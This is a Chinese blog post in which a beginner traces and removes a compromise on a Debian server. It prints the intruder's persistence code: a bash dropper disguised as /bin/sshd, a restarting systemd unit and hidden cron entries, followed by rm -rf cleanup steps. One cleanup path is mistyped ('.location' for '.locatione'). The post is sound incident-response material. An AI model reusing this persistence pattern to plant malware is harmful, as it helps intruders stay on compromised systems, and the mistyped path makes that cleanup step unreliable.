记一次 Debian 被黑,清理记录,唉

问题:今天登录学习用的 Linux 时发现 root 登录不了,是因为密码不对,估计是被黑了,因为是 LINUX 小白,所以在这方面也没啥安全意识,只能先将 root 密码恢复一下,再研究下怎么解决吧,这也是为了记录下,思路也不知道对不对,等处理完成最后再把 root 密码再改下吧,唉。

另:这机器是 Debian 11 最小化安装,服务就只有 Tomcat 和 PostgreSQL服务是对外开放了端口,而且端口号还修改成不是默认的了,有哪位大神可以赐教该如何防着点么,在这里先谢谢了。
要直接看怎么处理的话,直接看最后面内容吧,中间是自己的嘚啵嘚。。。

查询问题:
通过查看进程,发现有个 systemc 进程,对照其他正常的机器,这运行不应该存在
然后,查到这个程序是运行在 root 目录下有个 .cfg 目录,整体是在这里运行的
查看到这个目录中有个脚本名 .b4nd1d0,所以从这个名开始查询

root@debian:~/.cfg# grep -r "b4nd1d0" /bin
/bin/sshd:      $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
/bin/sshd:              $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
/bin/sshd:              $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown

上面这个目录里查到了 .b4nd1d0 是从另一个脚本过来的,脚本是 /bin/sshd ,经对照其实正常不应该在此位置有这个文件,先瞅瞅这个文件里写的啥

cat /bin/sshd

#!/bin/bash
locatieasdf=/root/.cfg
if [ ! -d $locatieasdf ]; then
        mkdir $locatieasdf
        rsync -r /usr/bin/.locatione/ $locatieasdf/
        sleep 0.3
        $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
else
        if [ ! -f  $locatieasdf/systemc ]; then
                rsync -r /usr/bin/.locatione/ $locatieasdf/
                sleep 0.3
                $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
        else
                $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
        fi
fi

嘿,感觉 /usr/bin/.locatione/ 这个目录是根源,还带同步的,瞅瞅这个目录里都有啥

-rwxr-xr-x 1 root root    13  1月  8 15:41 bios.txt
-rwxr-xr-x 1 root root 1008K 11月  1 16:49 blackmn
-rwxr-xr-x 1 root root  879K  9月 17 07:33 brute
-rwxr-xr-x 1 root root  3.9K  9月 17 07:33 pass
-rwxr-xr-x 1 root root  658K  9月 17 07:29 ps
-rwxr-xr-x 1 root root  5.6M 10月 31 16:08 systemc

这一段应该差不多了,咱再接着往下查 .b4nd1d0 在其他目录还有啥信息

root@debian:~/.cfg# grep -r "b4nd1d0" /var
/var/log/syslog:Jan 10 00:00:01 debian CRON[34851]: (root) CMD (/root/.cfg/./.b4nd1d0)
/var/log/syslog:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
/var/log/syslog:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
/var/log/syslog:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
grep: /var/log/journal/a4ad240cd4e64333843259198e7b9cde/system.journal:匹配到二进制文件
/var/log/daemon.log:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
/var/log/daemon.log:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
/var/log/daemon.log:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
/var/log/syslog.1:Jan  9 00:00:01 debian CRON[16217]: (root) CMD (/root/.cfg/./.b4nd1d0)
/var/spool/cron/crontabs/root:@daily /root/.cfg/./.b4nd1d0

上面的结果好像是被我给 KILL 掉的记录,但发现了应该是从一个服务 myservice.service 执行的,也就是为什么会开机就被运行了

root@debian:/lib/systemd/system# find / -name myservi*
/etc/systemd/system/multi-user.target.wants/myservice.service
/usr/lib/systemd/system/myservice.service

root@debian:/lib/systemd/system# ll myservice.service 
-rw-r--r-- 1 root root 213  1月  8 15:51 myservice.service

因为 /lib 是 /usr/lib 的软链接,所以这两个是一个目录
下面是 myservice.service 的内容,这应该就是开机运行的源头了吧

root@debian:/lib/systemd/system# cat myservice.service 
[Unit]
        Description=Example systemd service.
        [Service]
        Type=forking
        ExecStart=/bin/bash /usr/bin/sshd
        Restart=always
        RestartSec=720
        SuccessExitStatus=1 
        KillMode=none
        [Install]
        WantedBy=multi-user.target

/bin 也是 /usr/bin 的软链接,所以这两个是一个目录

更新一个定时任务里也有,真是恶心啊

root@Webapp-study:~# crontab -l
# @daily /root/.cfg/./.b4nd1d0
# @reboot /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
# * * * * * /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
# @monthly /root/.cfg/./.blackmn  > /dev/null 2>&1 & disown

直接都删掉就好了
root@Webapp-study:~# crontab -r
root@Webapp-study:~# crontab -l
no crontab for root


暂时问题查询就到这了,再不知道怎么往下找了

现在简单整理一下执行过程:
开机运行 myservice.service 调用了 /usr/bin/ssh 脚本,这个脚本同步 /usr/bin/.locatione/ 目录中的内容到用户目录,并运行。

----------------------------------------------------------------------------------------------------------------------------

处理方式:
1.查到对应的PID,然后KILL掉

ps 或 htop 都行,我进程少,所以 htop 比较直观 (htop 是用 apt 安装的)
kill -9 PID号

2.删掉 myservice.service 服务

rm -rf /etc/systemd/system/multi-user.target.wants/myservice.service
rm -rf /usr/lib/systemd/system/myservice.service

3.删掉 /usr/bin/sshd 文件

rm -rf /usr/bin/sshd

4.删掉 /usr/bin/.location 目录

rm -rf /usr/bin/.location

5.最后删掉 /root/.cfg 整个目录

rm -rf /root/.cfg

最后重启下,再查下进程和刚才那几个目录,要是再没有异常了应该就是正常了
赶紧先改个密码吧,按说密码也够强壮,挺郁闷的一个事儿。

你可能感兴趣的:(debian,linux,运维)